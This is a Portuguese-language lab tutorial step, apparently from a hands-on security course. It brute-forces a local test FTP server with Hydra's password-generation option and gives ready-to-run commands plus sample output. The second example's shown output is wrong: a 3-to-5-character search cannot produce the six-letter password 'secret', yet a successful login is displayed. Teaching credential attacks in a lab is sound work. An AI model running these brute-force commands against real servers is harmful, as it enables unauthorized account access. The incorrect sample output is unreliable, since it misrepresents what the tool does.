Atacar FTP com Senhas Geradas
Neste passo, utilizará as capacidades de geração de senhas do Hydra para atacar um servidor FTP fictício. Utilizará uma lista de senhas gerada "na hora" com a opção -x.
Primeiro, precisa configurar um servidor FTP simples para testes. Utilizará python3-pyftpdlib, que é uma biblioteca de servidor FTP leve para Python.
Instale python3-pyftpdlib se ainda não estiver instalado:
sudo apt update
sudo apt install -y python3-pyftpdlib
Inicie o servidor FTP em segundo plano na porta 2121, servindo ficheiros do diretório ~/project. A opção -w permite acesso de escrita.
nohup python3 -m pyftpdlib -p 2121 -w -u testuser -P secret ~/project > /dev/null 2>&1 &
A parte nohup ... & executa o comando em segundo plano e impede que pare se fechar o terminal. > /dev/null 2>&1 redireciona a saída padrão e o erro padrão para /dev/null, mantendo o seu terminal limpo. As opções -u testuser -P secret configuram um utilizador com a senha "secret" que pode aceder ao servidor.
Agora, utilizará o Hydra para atacar este servidor FTP. Utilizará a opção -x para gerar senhas e tentar efetuar login como o utilizador "testuser".
Execute o seguinte comando no terminal:
hydra -l testuser -vV -x 4:6:a-z 127.0.0.1 ftp -s 2121
Vamos decompor este comando:
hydra: A ferramenta de linha de comandos Hydra.
-l testuser: Especifica o nome de utilizador a utilizar: "testuser".
-vV: Habilita a saída detalhada, mostrando cada tentativa de login.
-x 4:6:a-z: Indica ao Hydra para gerar senhas com:
4: Comprimento mínimo de 4 caracteres.
6: Comprimento máximo de 6 caracteres.
a-z: Utilizar apenas letras minúsculas (a-z).
127.0.0.1: O host alvo (localhost). Utiliza 127.0.0.1 em vez de localhost para evitar potenciais problemas de resolução de DNS dentro do contêiner.
ftp: O serviço a atacar (FTP).
-s 2121: Especifica o número da porta. Está a atacar o servidor FTP que está a correr na porta 2121.
Deverá ver o Hydra a tentar logins com senhas geradas. Uma vez que o servidor FTP está configurado com credenciais específicas (nome de utilizador: testuser, senha: secret), o Hydra encontrará a senha correta quando gerar "secret" durante as suas tentativas de força bruta.
Importante: Utilize Ctrl+C para parar o ataque, pois levará algum tempo a completar.
A saída mostrará as tentativas de login e, eventualmente, uma mensagem de login bem-sucedido.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
Agora, vamos tentar um exemplo ligeiramente mais complexo, combinando letras minúsculas e dígitos:
hydra -l testuser -vV -x 3:5:a-z0-9 127.0.0.1 ftp -s 2121
Isto irá gerar senhas como "aaa", "aab", "aac", e assim por diante, percorrendo sistematicamente todas as combinações de 3 caracteres primeiro, depois as combinações de 4 caracteres e, finalmente, as combinações de 5 caracteres. Observe a saída para ver as senhas geradas e o login bem-sucedido.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
Este passo demonstrou como utilizar o Hydra com a opção -x para gerar senhas e atacar um servidor FTP. Lembre-se de utilizar estas técnicas de forma responsável e ética.